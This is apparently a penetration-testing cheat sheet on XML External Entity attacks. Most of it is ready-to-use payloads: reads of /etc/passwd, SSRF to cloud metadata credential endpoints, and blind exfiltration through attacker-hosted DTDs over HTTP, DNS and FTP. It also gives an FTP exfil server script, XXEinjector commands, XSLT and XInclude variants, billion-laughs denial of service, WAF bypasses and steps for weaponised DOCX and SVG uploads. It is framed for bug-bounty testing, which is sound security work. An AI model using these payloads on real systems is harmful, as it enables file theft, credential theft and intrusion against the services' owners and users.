XML External Entity (XXE)¶
TL;DR¶
Exploit XML parsers to read files, perform SSRF, or execute code.
Detection¶
Basic Entity Test¶
If xxe_test appears → XXE possible.
External Entity Test¶
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]>
<data>&xxe;</data>
File Read¶
Basic¶
Windows¶
PHP Filter (Base64)¶
Directory Listing (Java)¶
SSRF via XXE¶
Internal Network¶
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/admin">]>
<data>&xxe;</data>
Cloud Metadata¶
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
Blind XXE¶
OOB Detection¶
OOB Data Exfiltration¶
evil.dtd (on attacker server):
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
Payload:
FTP Exfiltration (Multi-line)¶
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com/%file;'>">
Error-Based XXE¶
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Local DTD Exploitation¶
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///x/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
DoS¶
Billion Laughs¶
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<data>&lol3;</data>
XInclude¶
When you can't control DOCTYPE:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
SVG XXE¶
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>
Office Documents (DOCX/XLSX)¶
- Unzip document
- Edit
word/document.xml - Insert XXE payload
- Rezip and upload
Protocol Handlers¶
file:// Local files
http:// HTTP requests
ftp:// FTP (multi-line exfil)
gopher:// SSRF chains
jar:// Java archive
php:// PHP wrappers
expect:// Command execution
phar:// PHP archives
WAF Bypass¶
UTF-7 Encoding¶
Parameter Entities¶
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
Content-Type Manipulation¶
XML Instead of JSON:
POST /api/data HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>
Checklist¶
- Check for XML endpoints (Content-Type: application/xml)
- Try converting JSON → XML
- Test file upload (SVG, DOCX, XLSX)
- Check RSS/Atom feed parsers
- Test SOAP endpoints
- Try XInclude for partial control
- Test error-based if blind
- Check OOB interaction (DNS/HTTP)
- Look for local DTD files
Tools¶
# xxeserv
xxeserv -w -p 8000
# XXEinjector
ruby XXEinjector.rb --host=attacker.com --file=request.txt
Real Examples¶
- HackerOne #486732 (DuckDuckGo): Blind XXE
- HackerOne #248668 (Twitter SMS): XXE in SXMP protocol
Advanced Out-of-Band Techniques¶
DNS Exfiltration¶
Most stealthy method - works even when HTTP blocked.
evil.dtd (hosted on attacker server):
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://%file;.attacker.com/xxe'>">
%eval;
%exfil;
Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<data>test</data>
Result:
Monitoring:
# Use Burp Collaborator or interactsh
interactsh-client -v
# Or DNS server logs
tail -f /var/log/named/queries.log | grep attacker.com
Multi-line DNS Exfiltration¶
Challenge: DNS queries don't support newlines.
Solution - Base64 encoding:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://%file;.attacker.com/'>">
%eval;
%exfil;
Alternative - Chunked exfil:
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/log?data=%file;'>">
%eval;
%exfil;
Server-side chunking via repeated requests with line numbers.
FTP Exfiltration (Multi-line Direct)¶
Advantage: FTP supports multi-line data in credentials.
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;
FTP Server (Python):
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("/tmp")
handler = FTPHandler
handler.authorizer = authorizer
handler.banner = "XXE FTP Exfil Server"
address = ("0.0.0.0", 21)
server = FTPServer(address, handler)
server.serve_forever()
Check logs for attempted usernames (will contain file contents).
XInclude Bypass¶
When you can't control DOCTYPE but can control element content.
Standard XXE (blocked):
XInclude (often allowed):
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
SOAP Envelope Example:
<soap:Body>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
</soap:Body>
Blind XInclude (OOB):
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://attacker.com/xxe"/>
</foo>
Why it works: XInclude is processed during XML parsing, even without DOCTYPE control.
XSLT document() Function¶
When XSLT transformations are processed server-side.
Vulnerable XSLT:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
File Read:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h1>File Contents:</h1>
<pre><xsl:copy-of select="document('file:///etc/passwd')"/></pre>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
SSRF via XSLT:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('http://169.254.169.254/latest/meta-data/iam/security-credentials/')"/>
</xsl:template>
</xsl:stylesheet>
OOB Exfil:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="file" select="document('file:///etc/hostname')"/>
<xsl:variable name="exfil" select="document(concat('http://attacker.com/?data=', $file))"/>
</xsl:template>
</xsl:stylesheet>
Detection: Look for:
- File upload accepting .xsl, .xslt
- Parameters named xslt, stylesheet, transform
- Endpoints like /transform, /convert, /report
Advanced Protocol Handlers¶
PHP Wrappers¶
Base64 Filter (bypass encoding issues):
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>&xxe;</data>
Expect (RCE if enabled):
Data URI:
Java-Specific Handlers¶
Jar Protocol (read from archives):
Netdoc (directory listing):
Gopher (arbitrary protocols):
Hidden XXE Surfaces¶
SAML Responses¶
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<saml:AttributeValue>&xxe;</saml:AttributeValue>
</saml:Assertion>
</samlp:Response>
RSS/Atom Feeds¶
<?xml version="1.0"?>
<!DOCTYPE rss [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]>
<rss version="2.0">
<channel>
<title>&xxe;</title>
</channel>
</rss>
DOCX/XLSX/PPTX (Office Documents)¶
# 1. Create document
# 2. Unzip
unzip document.docx -d extracted/
# 3. Edit word/document.xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]>
# 4. Re-zip
cd extracted/
zip -r ../malicious.docx *
# 5. Upload to server-side processors (DocuSign, converters, etc.)
SVG Images¶
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="40" font-size="16">&xxe;</text>
</svg>
Upload to: - Profile pictures - Logo uploads - Image processors (ImageMagick, etc.) - PDF generators
SOAP Endpoints¶
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUserInfo>
<username>&xxe;</username>
</getUserInfo>
</soap:Body>
</soap:Envelope>
Detection Methodology¶
Priority Testing Order: 1. OOB HTTP/DNS (least intrusive) 2. Error-based (if no response reflection) 3. XInclude (when DOCTYPE blocked) 4. XSLT document() (if transformations present) 5. File read (once confirmed vulnerable)
OAST Setup:
# Burp Collaborator
# Or interactsh
interactsh-client -v
# Payload
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://xxxxxx.oastify.com">
%xxe;
]>
Confirmation Workflow:
1. OOB ping → Confirms parsing external entities
2. File read (/etc/hostname) → Confirms file access
3. Sensitive file (/etc/passwd) → Impact demonstration
4. Cloud metadata → Critical impact proof
WAF/Filter Bypass¶
UTF-16 Encoding:
Mixed Encoding:
Case Variations:
HTML Entities:
Impact Quantification¶
For Bug Reports:
Severity Assessment:
1. File read → High (sensitive data exposure)
2. File read + cloud metadata → Critical (AWS keys)
3. SSRF to internal services → High/Critical
4. RCE via expect:// → Critical
5. DoS via billion laughs → Medium
Proof Requirements:
- Screenshots of /etc/hostname or /etc/passwd
- Cloud metadata credentials
- OAST callback logs with timestamps
- Video demonstration for complex chains